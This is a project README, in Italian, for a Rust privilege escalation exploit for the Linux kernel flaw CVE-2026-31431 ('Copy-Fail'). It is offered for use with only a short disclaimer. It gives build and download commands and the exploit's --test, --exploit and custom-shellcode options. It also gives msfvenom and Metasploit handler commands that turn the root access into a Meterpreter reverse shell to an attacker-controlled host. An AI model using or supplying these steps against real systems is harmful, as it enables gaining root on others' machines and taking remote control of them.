CVE-2026-31431 - Exploit Copy-Fail Linux (Rust)

Un'implementazione in Rust di un exploit di escalation dei privilegi locali per CVE-2026-31431 (Copy-Fail).

Consente di eseguire shellcode personalizzati (come Meterpreter)

Introduzione

Xint ha divulgato CVE-2026-31431, una vulnerabilità di scrittura arbitraria nella page cache che combina AF_ALG e splice() per ottenere una primitiva di scrittura di 4 byte.

Fonte: Copy Fail: 732 Bytes to Root on Every Major Linux Distribution

Disclaimer

Questo progetto è stato sviluppato come parte del mio interesse personale nello studio della cybersecurity. Tuttavia, potrebbe potenzialmente essere utilizzato in modo improprio per scopi dannosi.

Non utilizzare QUESTO strumento per attività illegali.

L'autore non è responsabile di qualsiasi uso improprio di questo software.

Ringraziamenti

theori-io/copy-fail-CVE-2026-31431

Nota: Il lavoro originale utilizza uno shellcode compresso/codificato (ad es., /bin/sh). In questa implementazione, l'ho sostituito con uno shellcode /bin/bash grezzo (non compresso), rendendo più semplice personalizzarlo o sostituirlo direttamente con payload forniti dall'utente.

Come Compilare

Clona il progetto, quindi esegui build.sh:

git clone [email protected]:iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail
cd ./CVE-2026-31431-Linux-Copy-Fail
chmod +x ./build.sh
./build.sh

Utilizzo

Scarica ed estrai il pacchetto della release:

wget https://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail/releases/latest/download/CVE-2026-31431-Linux-Fail.gz
tar -xzf CVE-2026-31431-Linux-Fail.gz
chmod +x CVE-2026-31431-Linux-Copy-Fail_x64
chmod +x CVE-2026-31431-Linux-Copy-Fail_x86

I binari forniscono le seguenti opzioni:

./CVE-2026-31431-Linux-Copy-Fail --test
./CVE-2026-31431-Linux-Copy-Fail --exploit
./CVE-2026-31431-Linux-Copy-Fail --bin shellcode.bin

Dimostrazione

Test della Vulnerabilità

Sulla macchina vulnerabile:

./CVE-2026-31431-Linux-Copy-Fail --test

Sfruttamento

./CVE-2026-31431-Linux-Copy-Fail --exploit

Meterpreter

Utilizza il comando (imposta PrependSetUid su True) riportato di seguito per generare il payload Meterpreter:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.x lport=4444 -f elf prependsetuid=true > payload.bin

Sulla macchina dell'attaccante (Kali Linux):

msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.x
set lport 4444
run